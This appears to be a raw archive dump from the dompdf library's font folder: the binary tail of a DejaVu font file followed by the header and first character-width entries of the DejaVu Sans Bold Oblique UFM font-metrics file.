invsmilefacesununi263Duni263Euni263Ffemaleuni2641maleuni2643uni2644uni2645uni2646uni2647uni2648uni2649uni264Auni264Buni264Cuni264Duni264Euni264Funi2650uni2651uni2652uni2653uni2654uni2655uni2656uni2657uni2658uni2659uni265Auni265Buni265Cuni265Duni265Euni265Fspadeuni2661uni2662clubuni2664heartdiamonduni2667uni2668uni2669musicalnotemusicalnotedbluni266Cuni266Duni266Euni266Funi2670uni2671uni2672uni2673uni2674uni2675uni2676uni2677uni2678uni2679uni267Auni267Buni267Cuni267Duni267Euni267Funi2680uni2681uni2682uni2683uni2684uni2685uni2686uni2687uni2688uni2689uni268Auni268Buni268Cuni268Duni268Euni268Funi2690uni2691uni2692uni2693uni2694uni2695uni2696uni2697uni2698uni2699uni269Auni269Buni269Cuni269Euni269Funi26A0uni26A1uni26A2uni26A3uni26A4uni26A5uni26A6uni26A7uni26A8uni26A9uni26AAuni26ABuni26ACuni26ADuni26AEuni26AFuni26B0uni26B1uni26B2uni26B3uni26B4uni26B5uni26B6uni26B7uni26B8uni26C0uni26C1uni26C2uni26C3uni26E2uni2701uni2702uni2703uni2704uni2706uni2707uni2708uni2709uni270Cuni270Duni270Euni270Funi2710uni2711uni2712uni2713uni2714uni2715uni2716uni2717uni2718uni2719uni271Auni271Buni271Cuni271Duni271Euni271Funi2720uni2721uni2722uni2723uni2724uni2725uni2726uni2727uni2729uni272Auni272Buni272Cuni272Duni272Euni272Funi2730uni2731uni2732uni2733uni2734uni2735uni2736uni2737uni2738uni2739uni273Auni273Buni273Cuni273Duni273Euni273Funi2740uni2741uni2742uni2743uni2744uni2745uni2746uni2747uni2748uni2749uni274Auni274Buni274Duni274Funi2750uni2751uni2752uni2756uni2758uni2759uni275Auni275Buni275Cuni275Duni275Euni2761uni2762uni2763uni2764uni2765uni2766uni2767uni2768uni2769uni276Auni276Buni276Cuni276Duni276Euni276Funi2770uni2771uni2772uni2773uni2774uni2775uni2776uni2777uni2778uni2779uni277Auni277Buni277Cuni277Duni277Euni277Funi2780uni2781uni2782uni2783uni2784uni2785uni2786uni2787uni2788uni2789uni278Auni278Buni278Cuni278Duni278Euni278Funi2790uni2791uni2792uni2793uni2794uni2798uni2799uni279Auni279Buni279Cuni279Duni279Euni279Funi27A0uni27A1uni27A2uni27A3uni27A4uni27A5uni27A6uni27A7uni27A8uni27A9uni27AAuni27ABuni27ACuni27ADuni27AEuni27AFuni27B1uni27B2uni27B3uni27B4uni27B5uni27B6uni27B7uni27B8uni27B9uni27BAuni27BBuni27BCuni27BDuni27BEuni27C5uni27C6uni27E0uni27E6uni27E7uni27E8uni27E9uni27EAuni27EBuni27F0uni27F1uni27F2uni27F3uni27F4uni27F5uni27F6uni27F7uni27F8uni27F9uni27FAuni27FBuni27FCuni27FDuni27FEuni27FFuni2800uni2801uni2802uni2803uni2804uni2805uni2806uni2807uni2808uni2809uni280Auni280Buni280Cuni280Duni280Euni280Funi2810uni2811uni2812uni2813uni2814uni2815uni2816uni2817uni2818uni2819uni281Auni281Buni281Cuni281Duni281Euni281Funi2820uni2821uni2822uni2823uni2824uni2825uni2826uni2827uni2828uni2829uni282Auni282Buni282Cuni282Duni282Euni282Funi2830uni2831uni2832uni2833uni2834uni2835uni2836uni2837uni2838uni2839uni283Auni283Buni283Cuni283Duni283Euni283Funi2840uni2841uni2842uni2843uni2844uni2845uni2846uni2847uni2848uni2849uni284Auni284Buni284Cuni284Duni284Euni284Funi2850uni2851uni2852uni2853uni2854uni2855uni2856uni2857uni2858uni2859uni285Auni285Buni285Cuni285Duni285Euni285Funi2860uni2861uni2862uni2863uni2864uni2865uni2866uni2867uni2868uni2869uni286Auni286Buni286Cuni286Duni286Euni286Funi2870uni2871uni2872uni2873uni2874uni2875uni2876uni2877uni2878uni2879uni287Auni287Buni287Cuni287Duni287Euni287Funi2880uni2881uni2882uni2883uni2884uni2885uni2886uni2887uni2888uni2889uni288Auni288Buni288Cuni288Duni288Euni288Funi2890uni2891uni2892uni2893uni2894uni2895uni2896uni2897uni2898uni2899uni289Auni289Buni289Cuni289Duni289Euni289Funi28A0uni28A1uni28A2uni28A3uni28A4uni28A5uni28A6uni28A7uni28A8uni28A9uni28AAuni28ABuni28ACuni28ADuni28AEuni28AFuni28B0uni28B1uni28B2uni28B3uni28B4uni28B5uni28B6uni28B7uni28B8uni28B9uni28BAuni28BBuni28BCuni28BDuni28BEuni28BFuni28C0uni28C1uni28C2uni28C3uni28C4uni28C5uni28C6uni28C7uni28C8uni28C9uni28CAuni28CBuni28CCuni28CDuni28CEuni28CFuni28D0uni28D1uni28D2uni28D3uni28D4uni28D5uni28D6uni28D7uni28D8uni28D9uni28DAuni28DBuni28DCuni28DDuni28DEuni28DFuni28E0uni28E1uni28E2uni28E3uni28E4uni28E5uni28E6uni28E7uni28E8uni28E9uni28EAuni28EBuni28ECuni28EDuni28EEuni28EFuni28F0uni28F1uni28F2uni28F3uni28F4uni28F5uni28F6uni28F7uni28F8uni28F9uni28FAuni28FBuni28FCuni28FDuni28FEuni28FFuni2906uni2907uni290Auni290Buni2940uni2941uni2983uni2984uni29CEuni29CFuni29D0uni29D1uni29D2uni29D3uni29D4uni29D5uni29EBuni29FAuni29FBuni2A00uni2A01uni2A02uni2A0Cuni2A0Duni2A0Euni2A0Funi2A10uni2A11uni2A12uni2A13uni2A14uni2A15uni2A16uni2A17uni2A18uni2A19uni2A1Auni2A1Buni2A1Cuni2A2Funi2A6Auni2A6Buni2A7Duni2A7Euni2A7Funi2A80uni2A81uni2A82uni2A83uni2A84uni2A85uni2A86uni2A87uni2A88uni2A89uni2A8Auni2A8Buni2A8Cuni2A8Duni2A8Euni2A8Funi2A90uni2A91uni2A92uni2A93uni2A94uni2A95uni2A96uni2A97uni2A98uni2A99uni2A9Auni2A9Buni2A9Cuni2A9Duni2A9Euni2A9Funi2AA0uni2AAEuni2AAFuni2AB0uni2AB1uni2AB2uni2AB3uni2AB4uni2AB5uni2AB6uni2AB7uni2AB8uni2AB9uni2ABAuni2AF9uni2AFAuni2B00uni2B01uni2B02uni2B03uni2B04uni2B05uni2B06uni2B07uni2B08uni2B09uni2B0Auni2B0Buni2B0Cuni2B0Duni2B0Euni2B0Funi2B10uni2B11uni2B12uni2B13uni2B14uni2B15uni2B16uni2B17uni2B18uni2B19uni2B1Auni2B1Funi2B20uni2B21uni2B22uni2B23uni2B24uni2B53uni2B54uni2C60uni2C61uni2C62uni2C63uni2C64uni2C65uni2C66uni2C67uni2C68uni2C69uni2C6Auni2C6Buni2C6Cuni2C6Duni2C6Euni2C6Funi2C70uni2C71uni2C72uni2C73uni2C74uni2C75uni2C76uni2C77uni2C79uni2C7Auni2C7Buni2C7Cuni2C7Duni2C7Euni2C7Funi2D00uni2D01uni2D02uni2D03uni2D04uni2D05uni2D06uni2D07uni2D08uni2D09uni2D0Auni2D0Buni2D0Cuni2D0Duni2D0Euni2D0Funi2D10uni2D11uni2D12uni2D13uni2D14uni2D15uni2D16uni2D17uni2D18uni2D19uni2D1Auni2D1Buni2D1Cuni2D1Duni2D1Euni2D1Funi2D20uni2D21uni2D22uni2D23uni2D24uni2D25uni2E18uni2E1Funi2E22uni2E23uni2E24uni2E25uni2E2Euni4DC0uni4DC1uni4DC2uni4DC3uni4DC4uni4DC5uni4DC6uni4DC7uni4DC8uni4DC9uni4DCAuni4DCBuni4DCCuni4DCDuni4DCEuni4DCFuni4DD0uni4DD1uni4DD2uni4DD3uni4DD4uni4DD5uni4DD6uni4DD7uni4DD8uni4DD9uni4DDAuni4DDBuni4DDCuni4DDDuni4DDEuni4DDFuni4DE0uni4DE1uni4DE2uni4DE3uni4DE4uni4DE5uni4DE6uni4DE7uni4DE8uni4DE9uni4DEAuni4DEBuni4DECuni4DEDuni4DEEuni4DEFuni4DF0uni4DF1uni4DF2uni4DF3uni4DF4uni4DF5uni4DF6uni4DF7uni4DF8uni4DF9uni4DFAuni4DFBuni4DFCuni4DFDuni4DFEuni4DFFuniA4D0uniA4D1uniA4D2uniA4D3uniA4D4uniA4D5uniA4D6uniA4D7uniA4D8uniA4D9uniA4DAuniA4DBuniA4DCuniA4DDuniA4DEuniA4DFuniA4E0uniA4E1uniA4E2uniA4E3uniA4E4uniA4E5uniA4E6uniA4E7uniA4E8uniA4E9uniA4EAuniA4EBuniA4ECuniA4EDuniA4EEuniA4EFuniA4F0uniA4F1uniA4F2uniA4F3uniA4F4uniA4F5uniA4F6uniA4F7uniA4F8uniA4F9uniA4FAuniA4FBuniA4FCuniA4FDuniA4FEuniA4FFuniA644uniA645uniA646uniA647uniA64CuniA64DuniA650uniA651uniA654uniA655uniA656uniA657uniA662uniA663uniA664uniA665uniA666uniA667uniA668uniA669uniA66AuniA66BuniA66CuniA66DuniA66EuniA68AuniA68BuniA68CuniA68DuniA694uniA695uniA698uniA699uniA708uniA709uniA70AuniA70BuniA70CuniA70DuniA70EuniA70FuniA710uniA711uniA712uniA713uniA714uniA715uniA716uniA71BuniA71CuniA71DuniA71EuniA71FuniA722uniA723uniA724uniA725uniA726uniA727uniA728uniA729uniA72AuniA72BuniA730uniA731uniA732uniA733uniA734uniA735uniA736uniA737uniA738uniA739uniA73AuniA73BuniA73CuniA73DuniA73EuniA73FuniA740uniA741uniA746uniA747uniA748uniA749uniA74AuniA74BuniA74EuniA74FuniA750uniA751uniA752uniA753uniA756uniA757uniA764uniA765uniA766uniA767uniA780uniA781uniA782uniA783uniA789uniA78AuniA78BuniA78CuniA78DuniA78EuniA790uniA791uniA7A0uniA7A1uniA7A2uniA7A3uniA7A4uniA7A5uniA7A6uniA7A7uniA7A8uniA7A9uniA7AAuniA7F8uniA7F9uniA7FAuniA7FBuniA7FCuniA7FDuniA7FEuniA7FF	uni02E5.5	uni02E6.5	uni02E7.5	uni02E8.5	uni02E9.5	uni02E5.4	uni02E6.4	uni02E7.4	uni02E8.4	uni02E9.4	uni02E5.3	uni02E6.3	uni02E7.3	uni02E8.3	uni02E9.3	uni02E5.2	uni02E6.2	uni02E7.2	uni02E8.2	uni02E9.2	uni02E5.1	uni02E6.1	uni02E7.1	uni02E8.1	uni02E9.1stemuniF400uniF401uniF402uniF403uniF404uniF405uniF406uniF407uniF408uniF409uniF40AuniF40BuniF40CuniF40DuniF40EuniF40FuniF410uniF411uniF412uniF413uniF414uniF415uniF416uniF417uniF418uniF419uniF41AuniF41BuniF41CuniF41DuniF41EuniF41FuniF420uniF421uniF422uniF423uniF424uniF425uniF426uniF428uniF429uniF42AuniF42BuniF42CuniF42DuniF42EuniF42FuniF430uniF431uniF432uniF433uniF434uniF435uniF436uniF437uniF438uniF439uniF43AuniF43BuniF43CuniF43DuniF43EuniF43FuniF440uniF441uniF6C5uniFB00uniFB03uniFB04uniFB05uniFB06uniFB13uniFB14uniFB15uniFB16uniFB17uniFB1DuniFB1EuniFB1FuniFB20uniFB21uniFB22uniFB23uniFB24uniFB25uniFB26uniFB27uniFB28uniFB29uniFB2AuniFB2BuniFB2CuniFB2DuniFB2EuniFB2FuniFB30uniFB31uniFB32uniFB33uniFB34uniFB35uniFB36uniFB37uniFB38uniFB39uniFB3AuniFB3BuniFB3CuniFB3DuniFB3EuniFB3FuniFB40uniFB41uniFB42uniFB43uniFB44uniFB45uniFB46uniFB47uniFB48uniFB49uniFB4AuniFB4BuniFB4CuniFB4DuniFB4EuniFB4FuniFE00uniFE01uniFE02uniFE03uniFE04uniFE05uniFE06uniFE07uniFE08uniFE09uniFE0AuniFE0BuniFE0CuniFE0DuniFE0EuniFE0FuniFE20uniFE21uniFE22uniFE23uniFFF9uniFFFAuniFFFBuniFFFCuniFFFDu10300u10301u10302u10303u10304u10305u10306u10307u10308u10309u1030Au1030Bu1030Cu1030Du1030Eu1030Fu10310u10311u10312u10313u10314u10315u10316u10317u10318u10319u1031Au1031Bu1031Cu1031Du1031Eu10320u10321u10322u10323u1D300u1D301u1D302u1D303u1D304u1D305u1D306u1D307u1D308u1D309u1D30Au1D30Bu1D30Cu1D30Du1D30Eu1D30Fu1D310u1D311u1D312u1D313u1D314u1D315u1D316u1D317u1D318u1D319u1D31Au1D31Bu1D31Cu1D31Du1D31Eu1D31Fu1D320u1D321u1D322u1D323u1D324u1D325u1D326u1D327u1D328u1D329u1D32Au1D32Bu1D32Cu1D32Du1D32Eu1D32Fu1D330u1D331u1D332u1D333u1D334u1D335u1D336u1D337u1D338u1D339u1D33Au1D33Bu1D33Cu1D33Du1D33Eu1D33Fu1D340u1D341u1D342u1D343u1D344u1D345u1D346u1D347u1D348u1D349u1D34Au1D34Bu1D34Cu1D34Du1D34Eu1D34Fu1D350u1D351u1D352u1D353u1D354u1D355u1D356u1D538u1D539u1D53Bu1D53Cu1D53Du1D53Eu1D540u1D541u1D542u1D543u1D544u1D546u1D54Au1D54Bu1D54Cu1D54Du1D54Eu1D54Fu1D550u1D552u1D553u1D554u1D555u1D556u1D557u1D558u1D559u1D55Au1D55Bu1D55Cu1D55Du1D55Eu1D55Fu1D560u1D561u1D562u1D563u1D564u1D565u1D566u1D567u1D568u1D569u1D56Au1D56Bu1D608u1D609u1D60Au1D60Bu1D60Cu1D60Du1D60Eu1D60Fu1D610u1D611u1D612u1D613u1D614u1D615u1D616u1D617u1D618u1D619u1D61Au1D61Bu1D61Cu1D61Du1D61Eu1D61Fu1D620u1D621u1D622u1D623u1D624u1D625u1D626u1D627u1D628u1D629u1D62Au1D62Bu1D62Cu1D62Du1D62Eu1D62Fu1D630u1D631u1D632u1D633u1D634u1D635u1D636u1D637u1D638u1D639u1D63Au1D63Bu1D7D8u1D7D9u1D7DAu1D7DBu1D7DCu1D7DDu1D7DEu1D7DFu1D7E0u1D7E1u1F030u1F031u1F032u1F033u1F034u1F035u1F036u1F037u1F038u1F039u1F03Au1F03Bu1F03Cu1F03Du1F03Eu1F03Fu1F040u1F041u1F042u1F043u1F044u1F045u1F046u1F047u1F048u1F049u1F04Au1F04Bu1F04Cu1F04Du1F04Eu1F04Fu1F050u1F051u1F052u1F053u1F054u1F055u1F056u1F057u1F058u1F059u1F05Au1F05Bu1F05Cu1F05Du1F05Eu1F05Fu1F060u1F061u1F062u1F063u1F064u1F065u1F066u1F067u1F068u1F069u1F06Au1F06Bu1F06Cu1F06Du1F06Eu1F06Fu1F070u1F071u1F072u1F073u1F074u1F075u1F076u1F077u1F078u1F079u1F07Au1F07Bu1F07Cu1F07Du1F07Eu1F07Fu1F080u1F081u1F082u1F083u1F084u1F085u1F086u1F087u1F088u1F089u1F08Au1F08Bu1F08Cu1F08Du1F08Eu1F08Fu1F090u1F091u1F092u1F093u1F0A0u1F0A1u1F0A2u1F0A3u1F0A4u1F0A5u1F0A6u1F0A7u1F0A8u1F0A9u1F0AAu1F0ABu1F0ACu1F0ADu1F0AEu1F0B1u1F0B2u1F0B3u1F0B4u1F0B5u1F0B6u1F0B7u1F0B8u1F0B9u1F0BAu1F0BBu1F0BCu1F0BDu1F0BEu1F0C1u1F0C2u1F0C3u1F0C4u1F0C5u1F0C6u1F0C7u1F0C8u1F0C9u1F0CAu1F0CBu1F0CCu1F0CDu1F0CEu1F0CFu1F0D1u1F0D2u1F0D3u1F0D4u1F0D5u1F0D6u1F0D7u1F0D8u1F0D9u1F0DAu1F0DBu1F0DCu1F0DDu1F0DEu1F0DFu1F311u1F312u1F313u1F314u1F315u1F316u1F317u1F318u1F42Du1F42Eu1F431u1F435u1F600u1F601u1F602u1F603u1F604u1F605u1F606u1F607u1F608u1F609u1F60Au1F60Bu1F60Cu1F60Du1F60Eu1F60Fu1F610u1F611u1F612u1F613u1F614u1F615u1F616u1F617u1F618u1F619u1F61Au1F61Bu1F61Cu1F61Du1F61Eu1F61Fu1F620u1F621u1F622u1F623u1F625u1F626u1F627u1F628u1F629u1F62Au1F62Bu1F62Du1F62Eu1F62Fu1F630u1F631u1F632u1F633u1F634u1F635u1F636u1F637u1F638u1F639u1F63Au1F63Bu1F63Cu1F63Du1F63Eu1F63Fu1F640u1F643	dlLtcaronDieresisAcuteTildeGrave
CircumflexCaronuni0311.caseBreve	DotaccentHungarumlautDoublegraveEng.altuni0268.dotlessuni029D.dotlessuni03080304uni03040308uni03070304uni03080301uni03080300uni03040301uni03040300uni03030304uni0308030Cuni03030308uni030C0307uni03030301uni03020301uni03020300uni03020303uni03060303uni03060301uni03060300uni03060309uni03020309uni03010307
brailledotJ.altl.altuni0478.monographuni0479.monographiogonek.dotlessuni2148.dotlessuni2149.dotlessuni1E2D.dotlessuni1ECB.dotlessdcoI.alt
arrow.basealpha.small.regulariota.small.regularrho.small.regularomega.small.regular	Ringaboveuni2630.altuni2631.altuni2632.altuni2633.altuni2634.altuni2635.altuni2636.altuni2637.altuni047E.diacuni048A.brevelessuni048B.brevelessy.altexclamdown.casequestiondown.caseuni2E18.case��@����%�2����s�2���%��%���������:���2��S���MA�S�2����
����}�����MA�}����G�}�G�������������������2������������~�}K%}d|�{zy�z�yx]y�y�xw%x]x@w%v�u�tdsrq%rdqpq%poMAo�n@��m�l�kji:jdiK%i:hNhgfg2feddMAd�c�bab�a`_`d_^_^]
\[
\�[
ZMAZ�YXY(XW�VU�V�UT]U�U�TS%T]T@S%R�QP.Q�P.ONONMK%MALK%L�KJK%JI�HGH�GF�E�D�CB}C�B}A�@�?�>�<6B<�;�:6B:S9�@p8}76B6-6B5�4�3:2�0/�-�,�+-+1*))#('&'d&%
%2$$}#:#�""�!!   ���@�	@:��%d%%A%������:�

}
�:��-:-

@�d��++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++vendor/dompdf/dompdf/lib/fonts/DejaVuSans-BoldOblique.ufm000066600000602062151150442770017415 0ustar00StartFontMetrics 4.1
Notice Converted by PHP-font-lib
Comment https://github.com/PhenX/php-font-lib
EncodingScheme FontSpecific
FontName DejaVu Sans
FontSubfamily Bold Oblique
UniqueID DejaVu Sans Bold Oblique
FullName DejaVu Sans Bold Oblique
Version Version 2.37
PostScriptName DejaVuSans-BoldOblique
Manufacturer DejaVu fonts team
FontVendorURL http://dejavu.sourceforge.net
LicenseURL http://dejavu.sourceforge.net/wiki/index.php/License
PreferredFamily DejaVu Sans
PreferredSubfamily Bold Oblique
Weight Bold
ItalicAngle -11
IsFixedPitch false
UnderlineThickness 44
UnderlinePosition -63
FontHeightOffset 0
Ascender 928
Descender -236
FontBBox -1067 -385 1999 1121
StartCharMetrics 5413
U 32 ; WX 348 ; N space ; G 3
U 33 ; WX 456 ; N exclam ; G 4
U 34 ; WX 521 ; N quotedbl ; G 5
U 35 ; WX 696 ; N numbersign ; G 6
U 36 ; WX 696 ; N dollar ; G 7
U 37 ; WX 1002 ; N percent ; G 8
U 38 ; WX 872 ; N ampersand ; G 9
U 39 ; WX 306 ; N quotesingle ; G 10
U 40 ; WX 457 ; N parenleft ; G 11
U 41 ; WX 457 ; N parenright ; G 12
U 42 ; WX 523 ; N asterisk ; G 13
U 43 ; WX 838 ; N plus ; G 14
U 44 ; WX 380 ; N comma ; G 15
U 45 ; WX 415 ; N hyphen ; G 16
U 46 ; WX 380 ; N period ; G 17
U 47 ; WX 365 ; N slash ; G 18
U 48 ; WX 696 ; N zero ; G 19
U 49 ; WX 696 ; N one ; G 20
U 50 ; WX 696 ; N two ; G 21
U 51 ; WX 696 ; N three ; G 22
U 52 ; WX 696 ; N four ; G 23
U 53 ; WX 696 ; N five ; G 24
U 54 ; WX 696 ; N six ; G 25
U 55 ; WX 696 ; N seven ; G 26
U 56 ; WX 696 ; N eight ; G 27
U 57 ; WX 696 ; N nine ; G 28
U 58 ; WX 400 ; N colon ; G 29
U 59 ; WX 400 ; N semicolon ; G 30
U 60 ; WX 838 ; N less ; G 31
U 61 ; WX 838 ; N equal ; G 32
U 62 ; WX 838 ; N greater ; G 33
U 63 ; WX 580 ; N question ; G 34
U 64 ; WX 1000 ; N at ; G 35
U 65 ; WX 774 ; N A ; G 36
U 66 ; WX 762 ; N B ; G 37
U 67 ; WX 734 ; N C ; G 38
U 68 ; WX 830 ; N D ; G 39
U 69 ; WX 683 ; N E ; G 40
U 70 ; WX 683 ; N F ; G 41
U 71 ; WX 821 ; N G ; G 42
U 72 ; WX 837 ; N H ; G 43
U 73 ; WX 372 ; N I ; G 44
U 74 ; WX 372 ; N J ; G 45
U 75 ; WX 775 ; N K ; G 46
U 76 ; WX 637 ; N L ; G 47
U 77 ; WX 995 ; N M ; G 48
U 78 ; WX 837 ; N N ; G 49
U 79 ; WX 850 ; N O ; G 50
U 80 ; WX 733 ; N P ; G 51
U 81 ; WX 850 ; N Q ; G 52
U 82 ; WX 770 ; N R ; G 53
U 83 ; WX 720 ; N S ; G 54
U 84 ; WX 682 ; N T ; G 55
U 85 ; WX 812 ; N U ; G 56
U 86 ; WX 774 ; N V ; G 57
U 87 ; WX 1103 ; N W ; G 58
U 88 ; WX 771 ; N X ; G 59
U 89 ; WX 724 ; N Y ; G 60
U 90 ; WX 725 ; N Z ; G 61
U 91 ; WX 457 ; N bracketleft ; G 62
U 92 ; WX 365 ; N backslash ; G 63
U 93 ; WX 457 ; N bracketright ; G 64
U 94 ; WX 838 ; N asciicircum ; G 65
U 95 ; WX 500 ; N underscore ; G 66
U 96 ; WX 500 ; N grave ; G 67
U 97 ; WX 675 ; N a ; G 68
U 98 ; WX 716 ; N b ; G 69
U 99 ; WX 593 ; N c ; G 70
U 100 ; WX 716 ; N d ; G 71
U 101 ; WX 678 ; N e ; G 72
U 102 ; WX 435 ; N f ; G 73
U 103 ; WX 716 ; N g ; G 74
U 104 ; WX 712 ; N h ; G 75
U 105 ; WX 343 ; N i ; G 76
U 106 ; WX 343 ; N j ; G 77
U 107 ; WX 665 ; N k ; G 78
U 108 ; WX 343 ; N l ; G 79
U 109 ; WX 1042 ; N m ; G 80
U 110 ; WX 712 ; N n ; G 81
U 111 ; WX 687 ; N o ; G 82
U 112 ; WX 716 ; N p ; G 83
U 113 ; WX 716 ; N q ; G 84
U 114 ; WX 493 ; N r ; G 85
U 115 ; WX 595 ; N s ; G 86
U 116 ; WX 478 ; N t ; G 87
U 117 ; WX 712 ; N u ; G 88
U 118 ; WX 652 ; N v ; G 89
U 119 ; WX 924 ; N w ; G 90
U 120 ; WX 645 ; N x ; G 91
U 121 ; WX 652 ; N y ; G 92
U 122 ; WX 582 ; N z ; G 93
U 123 ; WX 712 ; N braceleft ; G 94
U 124 ; WX 365 ; N bar ; G 95
U 125 ; WX 712 ; N braceright ; G 96
U 126 ; WX 838 ; N asciitilde ; G 97
U 160 ; WX 348 ; N nbspace ; G 98
U 161 ; WX 456 ; N exclamdown ; G 99
U 162 ; WX 696 ; N cent ; G 100
U 163 ; WX 696 ; N sterling ; G 101
U 164 ; WX 636 ; N currency ; G 102
U 165 ; WX 696 ; N yen ; G 103
U 166 ; WX 365 ; N brokenbar ; G 104
U 167 ; WX 500 ; N section ; G 105
U 168 ; WX 500 ; N dieresis ; G 106
U 169 ; WX 1000 ; N copyright ; G 107
U 170 ; WX 564 ; N ordfeminine ; G 108
U 171 ; WX 650 ; N guillemotleft ; G 109
U 172 ; WX 838 ; N logicalnot ; G 110
U 173 ; WX 415 ; N sfthyphen ; G 111
U 174 ; WX 1000 ; N registered ; G 112
U 175 ; WX 500 ; N macron ; G 113
U 176 ; WX 500 ; N degree ; G 114
U 177 ; WX 838 ; N plusminus ; G 115
U 178 ; WX 438 ; N twosuperior ; G 116
U 179 ; WX 438 ; N threesuperior ; G 117
U 180 ; WX 500 ; N acute ; G 118
U 181 ; WX 736 ; N mu ; G 119
U 182 ; WX 636 ; N paragraph ; G 120
U 183 ; WX 380 ; N periodcentered ; G 121
U 184 ; WX 500 ; N cedilla ; G 122
U 185 ; WX 438 ; N onesuperior ; G 123
U 186 ; WX 564 ; N ordmasculine ; G 124
U 187 ; WX 650 ; N guillemotright ; G 125
U 188 ; WX 1035 ; N onequarter ; G 126
U 189 ; WX 1035 ; N onehalf ; G 127
U 190 ; WX 1035 ; N threequarters ; G 128
U 191 ; WX 580 ; N questiondown ; G 129
U 192 ; WX 774 ; N Agrave ; G 130
U 193 ; WX 774 ; N Aacute ; G 131
U 194 ; WX 774 ; N Acircumflex ; G 132
U 195 ; WX 774 ; N Atilde ; G 133
U 196 ; WX 774 ; N Adieresis ; G 134
U 197 ; WX 774 ; N Aring ; G 135
U 198 ; WX 1085 ; N AE ; G 136
U 199 ; WX 734 ; N Ccedilla ; G 137
U 200 ; WX 683 ; N Egrave ; G 138
U 201 ; WX 683 ; N Eacute ; G 139
U 202 ; WX 683 ; N Ecircumflex ; G 140
U 203 ; WX 683 ; N Edieresis ; G 141
U 204 ; WX 372 ; N Igrave ; G 142
U 205 ; WX 372 ; N Iacute ; G 143
U 206 ; WX 372 ; N Icircumflex ; G 144
U 207 ; WX 372 ; N Idieresis ; G 145
U 208 ; WX 845 ; N Eth ; G 146
U 209 ; WX 837 ; N Ntilde ; G 147
U 210 ; WX 850 ; N Ograve ; G 148
U 211 ; WX 850 ; N Oacute ; G 149
U 212 ; WX 850 ; N Ocircumflex ; G 150
U 213 ; WX 850 ; N Otilde ; G 151
U 214 ; WX 850 ; N Odieresis ; G 152
U 215 ; WX 838 ; N multiply ; G 153
U 216 ; WX 850 ; N Oslash ; G 154
U 217 ; WX 812 ; N Ugrave ; G 155
U 218 ; WX 812 ; N Uacute ; G 156
U 219 ; WX 812 ; N Ucircumflex ; G 157
U 220 ; WX 812 ; N Udieresis ; G 158
U 221 ; WX 724 ; N Yacute ; G 159
U 222 ; WX 742 ; N Thorn ; G 160
U 223 ; WX 719 ; N germandbls ; G 161
U 224 ; WX 675 ; N agrave ; G 162
U 225 ; WX 675 ; N aacute ; G 163
U 226 ; WX 675 ; N acircumflex ; G 164
U 227 ; WX 675 ; N atilde ; G 165
U 228 ; WX 675 ; N adieresis ; G 166
U 229 ; WX 675 ; N aring ; G 167
U 230 ; WX 1048 ; N ae ; G 168
U 231 ; WX 593 ; N ccedilla ; G 169
U 232 ; WX 678 ; N egrave ; G 170
U 233 ; WX 678 ; N eacute ; G 171
U 234 ; WX 678 ; N ecircumflex ; G 172
U 235 ; WX 678 ; N edieresis ; G 173
U 236 ; WX 343 ; N igrave ; G 174
U 237 ; WX 343 ; N iacute ; G 175
U 238 ; WX 343 ; N icircumflex ; G 176
U 239 ; WX 343 ; N idieresis ; G 177
U 240 ; WX 687 ; N eth ; G 178
U 241 ; WX 712 ; N ntilde ; G 179
U 242 ; WX 687 ; N ograve ; G 180
U 243 ; WX 687 ; N oacute ; G 181
U 244 ; WX 687 ; N ocircumflex ; G 182
U 245 ; WX 687 ; N otilde ; G 183
U 246 ; WX 687 ; N odieresis ; G 184
U 247 ; WX 838 ; N divide ; G 185
U 248 ; WX 687 ; N oslash ; G 186
U 249 ; WX 712 ; N ugrave ; G 187
U 250 ; WX 712 ; N uacute ; G 188
U 251 ; WX 712 ; N ucircumflex ; G 189
U 252 ; WX 712 ; N udieresis ; G 190
U 253 ; WX 652 ; N yacute ; G 191
U 254 ; WX 716 ; N thorn ; G 192
U 255 ; WX 652 ; N ydieresis ; G 193
U 256 ; WX 774 ; N Amacron ; G 194
U 257 ; WX 675 ; N amacron ; G 195
U 258 ; WX 774 ; N Abreve ; G 196
U 259 ; WX 675 ; N abreve ; G 197
U 260 ; WX 774 ; N Aogonek ; G 198
U 261 ; WX 675 ; N aogonek ; G 199
U 262 ; WX 734 ; N Cacute ; G 200
U 263 ; WX 593 ; N cacute ; G 201
U 264 ; WX 734 ; N Ccircumflex ; G 202
U 265 ; WX 593 ; N ccircumflex ; G 203
U 266 ; WX 734 ; N Cdotaccent ; G 204
U 267 ; WX 593 ; N cdotaccent ; G 205
U 268 ; WX 734 ; N Ccaron ; G 206
U 269 ; WX 593 ; N ccaron ; G 207
U 270 ; WX 830 ; N Dcaron ; G 208
U 271 ; WX 716 ; N dcaron ; G 209
U 272 ; WX 845 ; N Dcroat ; G 210
U 273 ; WX 716 ; N dmacron ; G 211
U 274 ; WX 683 ; N Emacron ; G 212
U 275 ; WX 678 ; N emacron ; G 213
U 276 ; WX 683 ; N Ebreve ; G 214
U 277 ; WX 678 ; N ebreve ; G 215
U 278 ; WX 683 ; N Edotaccent ; G 216
U 279 ; WX 678 ; N edotaccent ; G 217
U 280 ; WX 683 ; N Eogonek ; G 218
U 281 ; WX 678 ; N eogonek ; G 219
U 282 ; WX 683 ; N Ecaron ; G 220
U 283 ; WX 678 ; N ecaron ; G 221
U 284 ; WX 821 ; N Gcircumflex ; G 222
U 285 ; WX 716 ; N gcircumflex ; G 223
U 286 ; WX 821 ; N Gbreve ; G 224
U 287 ; WX 716 ; N gbreve ; G 225
U 288 ; WX 821 ; N Gdotaccent ; G 226
U 289 ; WX 716 ; N gdotaccent ; G 227
U 290 ; WX 821 ; N Gcommaaccent ; G 228
U 291 ; WX 716 ; N gcommaaccent ; G 229
U 292 ; WX 837 ; N Hcircumflex ; G 230
U 293 ; WX 712 ; N hcircumflex ; G 231
U 294 ; WX 974 ; N Hbar ; G 232
U 295 ; WX 790 ; N hbar ; G 233
U 296 ; WX 372 ; N Itilde ; G 234
U 297 ; WX 343 ; N itilde ; G 235
U 298 ; WX 372 ; N Imacron ; G 236
U 299 ; WX 343 ; N imacron ; G 237
U 300 ; WX 372 ; N Ibreve ; G 238
U 301 ; WX 343 ; N ibreve ; G 239
U 302 ; WX 372 ; N Iogonek ; G 240
U 303 ; WX 343 ; N iogonek ; G 241
U 304 ; WX 372 ; N Idot ; G 242
U 305 ; WX 343 ; N dotlessi ; G 243
U 306 ; WX 744 ; N IJ ; G 244
